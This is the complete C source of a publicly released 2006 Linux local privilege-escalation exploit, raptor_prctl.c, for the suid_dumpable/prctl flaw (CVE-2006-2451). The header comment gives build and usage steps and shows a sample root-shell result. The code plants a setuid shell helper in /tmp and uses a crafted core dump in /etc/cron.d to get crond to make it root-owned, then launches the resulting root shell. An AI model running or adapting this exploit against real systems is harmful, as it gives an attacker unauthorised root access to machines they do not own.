Id raptor_prctl 2006 07 18 13 16 45 raptor Exp raptor_prctl Linux suid

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/*
* $Id: raptor_prctl.c,v 1.5 2006/07/18 13:16:45 raptor Exp $
*
* raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability
* Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* The suid_dumpable support in Linux kernel 2.6.13 up to versions before
* 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial
* of service (disk consumption) and POSSIBLY (yeah, sure;) gain privileges via
* the PR_SET_DUMPABLE argument of the prctl function and a program that causes
* a core dump file to be created in a directory for which the user does not
* have permissions (CVE-2006-2451).
*
* Berlin, Sunday July 9th 2006: CAMPIONI DEL MONDO! CAMPIONI DEL MONDO!
* CAMPIONI DEL MONDO! (i was tempted to name this exploit "pajolo.c";))
*
* Greets to Paul Starzetz and Roman Medina, who also exploited this ugly bug.
*
* NOTE. This exploit uses the Vixie's crontab /etc/cron.d attack vector: this
* means that distributions that use a different configuration (namely Dillon's
* crontab on Slackware Linux) can be vulnerable but not directly exploitable.
*
* Usage:
* $ gcc raptor_prctl.c -o raptor_prctl -Wall
* [exploit must be dynamically linked]
* $ ./raptor_prctl
* [...]
* sh-3.00# id
* uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)
* sh-3.00#
* [don't forget to delete /tmp/pwned!]
*
* Vulnerable platforms:
* Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#define INFO1 "raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability"
#define INFO2 "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
char payload[] = /* commands to be executed by privileged crond */
"\nSHELL=/bin/sh\nPATH=/usr/bin:/usr/sbin:/sbin:/bin\n* * * * * root chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core\n";
char pwnage[] = /* build setuid() helper to circumvent bash checks */
"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
int main(void)
{
int pid, i;
struct rlimit corelimit;
struct stat st;
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* prepare the setuid() helper */
system(pwnage);
/* set core size to unlimited */
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
/* let's do the PR_SET_DUMPABLE magic */
if (!(pid = fork())) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(666);
exit(1);
}
kill(pid, SIGSEGV);
/* did it work? */
sleep(3);
if (stat("/etc/cron.d/core", &st) < 0) {
fprintf(stderr, "Error: Not vulnerable? See comments.\n");
exit(1);
}
fprintf(stderr, "Ready to uncork the champagne? ");
fprintf(stderr, "Please wait a couple of minutes;)\n");
/* wait for crond to execute our evil entry */
for (i = 0; i < 124; i += 2) {
if (stat("/tmp/pwned", &st) < 0) {
fprintf(stderr, "\nError: Check /tmp/pwned!\n");
exit(1);
}
if (st.st_uid == 0)
break;
fprintf(stderr, ".");
sleep(2);
}
/* timeout reached? */
if (i > 120) {
fprintf(stderr, "\nTimeout: Check /tmp/pwned!\n");
exit(1);
}
/* total pwnage */
fprintf(stderr, "CAMPIONI DEL MONDO!\n\n");
system("/tmp/pwned");
exit(0);
}